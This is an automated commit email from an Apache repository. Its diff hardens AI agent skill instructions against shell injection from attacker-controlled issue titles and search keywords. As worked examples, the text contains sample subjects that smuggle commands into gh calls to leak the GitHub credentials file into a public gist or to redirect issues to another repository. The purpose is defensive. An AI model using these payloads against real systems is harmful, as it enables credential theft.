This is an automated email from the ASF dual-hosted git repository.
potiuk pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/airflow-steward.git
The following commit(s) were added to refs/heads/main by this push:
new b0f60f1 fix(security): close residual shell-expansion gap in #81's
tempfile recipe (#88)
b0f60f1 is described below
commit b0f60f17910730a4c0e441ed2b0dd9332d760e21
Author: Andrew Nesbitt <[email protected]>
AuthorDate: Thu May 7 18:41:35 2026 +0100
fix(security): close residual shell-expansion gap in #81's tempfile recipe
(#88)
The printf '%s' "<x>" recipe introduced in #81 still passes the
attacker-controlled string through a double-quoted shell argument,
so $(...), backticks and $VAR expand before printf runs. Replace
with an instruction to use the Write tool to land the bytes on
disk without shell tokenisation, then -F field=@file as before.
Applied at all six recipe sites across the three import skills
and at Patterns 1 and 3 of the write-skill checklist so future
skills inherit the corrected form.
settings.json permission additions split to #89 per review.
---
.../skills/security-issue-import-from-md/SKILL.md | 35 +++++++----
.../skills/security-issue-import-from-pr/SKILL.md | 16 ++++--
.claude/skills/security-issue-import/SKILL.md | 67 ++++++++++++----------
.claude/skills/write-skill/security-checklist.md | 31 +++++++---
4 files changed, 94 insertions(+), 55 deletions(-)
diff --git a/.claude/skills/security-issue-import-from-md/SKILL.md
b/.claude/skills/security-issue-import-from-md/SKILL.md
index 9235faa..0d0202c 100644
--- a/.claude/skills/security-issue-import-from-md/SKILL.md
+++ b/.claude/skills/security-issue-import-from-md/SKILL.md
@@ -296,12 +296,19 @@ is **attacker-controlled**. `gh search issues
"<keywords>"`
puts the keywords inside a double-quoted shell argument, where
`$(...)` and backticks expand. A finding title like
`RCE in $(gh gist create ~/.config/gh/hosts.yml) handler` would
-survive the keyword extraction and execute. Strip the keyword
-string to a character allowlist before interpolation:
+survive the keyword extraction and execute. **Use the Write
+tool** (not Bash) to put the raw keyword into
+`/tmp/import-md-<basename>-<index>-kw.txt`, then strip to a
+character allowlist in the shell:
+*Write tool call:*
+`file_path: /tmp/import-md-<basename>-<index>-kw.txt`,
+`content: <raw-title-keyword>`
+
+Then:
```bash
-TITLE_KEYWORD=$(printf '%s' "<raw-title-keyword>" \
- | tr -cd 'A-Za-z0-9._ -')
+TITLE_KEYWORD=$(tr -cd 'A-Za-z0-9._ -' \
+ < /tmp/import-md-<basename>-<index>-kw.txt)
gh search issues "$TITLE_KEYWORD" --repo <tracker> \
--json number,title,state,url
```
@@ -547,15 +554,19 @@ Create:
The finding title comes from the source markdown, which may have
been produced by an external scanner or AI review pass — treat it
-as attacker-controlled. **Do not** inline it into a single-quoted
-`-f title='...'` argument: a finding title containing a single
-quote breaks out of the quote and re-targets the call. Write the
-title to a tempfile via `printf '%s'` (which never triggers shell
-expansion) and pass via `-F`, which reads the value verbatim:
-
+as attacker-controlled. **Do not** inline it into a shell argument
+at all: a finding title containing `'` breaks out of single
+quotes, and one containing `$(...)` or backticks expands inside
+double quotes. **Use the Write tool** (not Bash) to put the title
+verbatim into `/tmp/import-md-<basename>-<index>-title.txt`, then
+pass via `-F`, which reads the value verbatim from the file:
+
+*Write tool call:*
+`file_path: /tmp/import-md-<basename>-<index>-title.txt`,
+`content: [ Security Report ] <finding title>`
+
+Then:
```bash
-printf '%s' "[ Security Report ] <finding title>" \
- > /tmp/import-md-<basename>-<index>-title.txt
gh api repos/<tracker>/issues \
-F title=@/tmp/import-md-<basename>-<index>-title.txt \
-F body=@/tmp/import-md-<basename>-<index>-body.md \
diff --git a/.claude/skills/security-issue-import-from-pr/SKILL.md
b/.claude/skills/security-issue-import-from-pr/SKILL.md
index 7da887e..7dadc94 100644
--- a/.claude/skills/security-issue-import-from-pr/SKILL.md
+++ b/.claude/skills/security-issue-import-from-pr/SKILL.md
@@ -560,14 +560,18 @@ EOF
Create:
The cleaned title still derives from the public PR title, which is
-attacker-controlled. **Do not** inline it into a single-quoted
-`-f title='...'` argument — a PR title containing a single quote
-breaks out of the quote and re-targets the call. Write the title
-to a tempfile via `printf '%s'` (which never triggers shell
-expansion) and pass via `-F`, which reads the value verbatim:
+attacker-controlled. **Do not** inline it into a shell argument at
+all — a PR title containing `'` breaks out of single quotes, and
+one containing `$(...)` or backticks expands inside double quotes.
+**Use the Write tool** (not Bash) to put the title verbatim into
+`/tmp/import-pr-<N>-title.txt`, then pass via `-F`, which reads
+the value verbatim from the file:
+*Write tool call:* `file_path: /tmp/import-pr-<N>-title.txt`,
+`content: <cleaned title>`
+
+Then:
```bash
-printf '%s' "<cleaned title>" > /tmp/import-pr-<N>-title.txt
gh api repos/<tracker>/issues \
-F title=@/tmp/import-pr-<N>-title.txt \
-F body=@/tmp/import-pr-<N>-body.md \
diff --git a/.claude/skills/security-issue-import/SKILL.md
b/.claude/skills/security-issue-import/SKILL.md
index c288013..57f9474 100644
--- a/.claude/skills/security-issue-import/SKILL.md
+++ b/.claude/skills/security-issue-import/SKILL.md
@@ -513,30 +513,30 @@ fuzzy-match search against existing issues on three
orthogonal keys:
`RCE BaseSerialization.deserialize next_kwargs`) and search.
The keywords are **attacker-controlled** (extracted from an email
- subject), so the call must not put them inside a double-quoted
- shell argument — `gh search issues "<keywords>"` permits
- `$(...)` and backtick expansion in `<keywords>`, and a subject
- like `RCE in $(gh gist create ~/.config/gh/hosts.yml) handler`
- would survive loose noun-phrase extraction and execute. Either
- pass through a character-allowlisted shell variable, **or**
- write the keywords to a tempfile and feed via stdin — both
- forms below disable shell expansion:
-
+ subject), so the call must not put them inside a shell argument
+ at all — `gh search issues "<keywords>"` permits `$(...)` and
+ backtick expansion, and a subject like
+ `RCE in $(gh gist create ~/.config/gh/hosts.yml) handler` would
+ survive loose noun-phrase extraction and execute. **Use the
+ Write tool** (not Bash) to put the raw keywords into
+ `/tmp/kw-<threadId>.txt`, then strip to a character allowlist
+ in the shell:
+
+ *Write tool call:* `file_path: /tmp/kw-<threadId>.txt`,
+ `content: <raw keywords>`
+
+ Then:
```bash
- # Option A — character-allowlisted env var (preferred for short
- # keyword strings). Strip everything but [A-Za-z0-9._ -] before
- # exporting; the resulting string contains no shell metacharacters.
- KEYWORDS=$(printf '%s' "<raw keywords>" | tr -cd 'A-Za-z0-9._ -')
+ KEYWORDS=$(tr -cd 'A-Za-z0-9._ -' < /tmp/kw-<threadId>.txt)
gh search issues "$KEYWORDS" --repo <tracker> \
--state open --match title,body
-
- # Option B — tempfile (preferred for keyword strings that
- # legitimately contain quotes, slashes, or other characters).
- printf '%s' "<raw keywords>" > /tmp/kw-<threadId>.txt
- gh search issues "$(cat /tmp/kw-<threadId>.txt)" --repo <tracker> \
- --state open --match title,body
```
+ The Write tool puts the bytes on disk without shell tokenisation;
+ `tr -cd` reads from the file and the result contains no shell
+ metacharacters. Never `printf '%s' "<raw keywords>"` — the
+ double-quoted argument expands `$(...)` before `printf` runs.
+
Title / body matches here are informational — a tracker with a
similar title is worth a human glance but is not necessarily a
duplicate.
@@ -1063,14 +1063,20 @@ For each confirmed `Report` / `ASF-security relay`:
2. Create the issue with the `needs triage` and `security issue` labels.
The title comes from an attacker-controlled email subject, so it
- **must not** be inlined into a single-quoted shell argument — a
- subject like `RCE' --repo <upstream> --title 'leaked` would
- break out of the quote and re-target the issue at a public repo.
- Write the title to a tempfile via `printf '%s'` (which never
- triggers shell expansion) and pass it via `gh api`'s `-F` form,
- which reads the value verbatim from the file:
+ **must not** be inlined into a shell argument at all — a subject
+ like `RCE' --repo <upstream> --title 'leaked` breaks out of
+ single quotes, and a subject like
+ `RCE in $(gh gist create ~/.config/gh/hosts.yml --public)` expands
+ inside double quotes. **Use the Write tool** (not Bash) to put
+ the title verbatim into `/tmp/issue-title-<threadId>.txt`, then
+ pass it via `gh api`'s `-F` form, which reads the value verbatim
+ from the file:
+
+ *Write tool call:* `file_path: /tmp/issue-title-<threadId>.txt`,
+ `content: <title>`
+
+ Then:
```bash
- printf '%s' "<title>" > /tmp/issue-title-<threadId>.txt
gh api repos/<tracker>/issues \
-F title=@/tmp/issue-title-<threadId>.txt \
-F body=@/tmp/issue-body-<threadId>.md \
@@ -1078,9 +1084,12 @@ For each confirmed `Report` / `ASF-security relay`:
-f 'labels[]=security issue' \
--jq '.number'
```
- Same rule applies anywhere else this skill produces a `gh` call
- that takes attacker-controlled text as an argument: write to a
- tempfile via `printf '%s'`, pass via `-F`. Never `--title '<x>'`.
+ Same rule applies anywhere this skill produces a `gh` call that
+ takes attacker-controlled text as an argument: write the value
+ to a tempfile **with the Write tool**, pass via `-F`. Never
+ `--title '<x>'`, never `--title "<x>"`, never
+ `printf '%s' "<x>"` (the double-quoted argument still expands
+ `$(...)` before `printf` runs).
3. **Set the project-board `Status` to `Needs triage`.** The newly-
created issue may already have been added to the board by the
diff --git a/.claude/skills/write-skill/security-checklist.md
b/.claude/skills/write-skill/security-checklist.md
index 605f7dc..f318621 100644
--- a/.claude/skills/write-skill/security-checklist.md
+++ b/.claude/skills/write-skill/security-checklist.md
@@ -15,7 +15,7 @@ Use this as a literal checklist when writing a new skill:
every
pattern that applies to the skill's behaviour must be present in
the SKILL.md body.
-## Pattern 1 — Tempfile + `printf '%s'` for attacker-controlled `gh` arguments
+## Pattern 1 — Write tool + `-F field=@file` for attacker-controlled `gh`
arguments
Whenever a skill passes an attacker-controlled string (email
subject, public PR title, scanner finding, reporter-supplied
@@ -25,17 +25,21 @@ single- or double-quoted shell arguments. A subject
containing
```text
Subject: RCE' --repo attacker/exfil --title 'leaked report
-Subject: x'; cat ~/.config/gh/hosts.yml | gh gist create -; echo '
+Subject: RCE in $(gh gist create ~/.config/gh/hosts.yml --public)
```
-The fix is to write the string to a tempfile via `printf '%s'`
-(which never triggers shell expansion) and pass the tempfile via
+The only safe path is to keep the attacker bytes out of the
+shell tokeniser entirely. **Use the Write tool** (not Bash) to
+put the string into a tempfile, then pass the tempfile via
`gh api ... -F field=@/tmp/x.txt`, which reads the value verbatim
from the file:
+*Write tool call:* `file_path: /tmp/issue-title-<n>.txt`,
+`content: <title>`
+
+Then:
```bash
# YES
-printf '%s' "<title>" > /tmp/issue-title-<n>.txt
gh api repos/<tracker>/issues \
-F title=@/tmp/issue-title-<n>.txt \
-F body=@/tmp/issue-body-<n>.md \
@@ -47,6 +51,10 @@ gh api repos/<tracker>/issues -f title='<title>' …
# NO — double-quote inline expands $(...)
gh api repos/<tracker>/issues -f title="<title>" …
+# NO — printf's argument is still in double quotes; the shell
+# expands $(...) before printf runs
+printf '%s' "<title>" > /tmp/issue-title-<n>.txt
+
# NO — gh issue create has the same problem
gh issue create --title '<title>' …
```
@@ -64,17 +72,24 @@ even when the scope is short and the value "looks safe."
When a skill needs to interpolate attacker-controlled text into
a `gh search` or other shell command that takes a quoted string,
-strip the value to a character allowlist first:
+land the raw value on disk **with the Write tool** (not Bash) per
+Pattern 1, then strip to a character allowlist in the shell:
+
+*Write tool call:* `file_path: /tmp/kw-<n>.txt`,
+`content: <raw keywords>`
+Then:
```bash
-KEYWORDS=$(printf '%s' "<raw keywords>" | tr -cd 'A-Za-z0-9._ -')
+KEYWORDS=$(tr -cd 'A-Za-z0-9._ -' < /tmp/kw-<n>.txt)
gh search issues "$KEYWORDS" --repo <tracker> \
--state open --match title,body
```
The post-allowlist string contains no shell metacharacters; the
loss of precision (collapsed punctuation, dropped accents) only
-affects search recall, never correctness.
+affects search recall, never correctness. Never
+`printf '%s' "<raw keywords>" | tr -cd ...` — the double-quoted
+argument expands `$(...)` before `tr` ever runs.
For inputs that are regex-constrained (e.g. `CVE-\d{4}-\d{4,7}$`,
`GHSA-[a-z0-9-]{4,}`), regex-validate before interpolation; the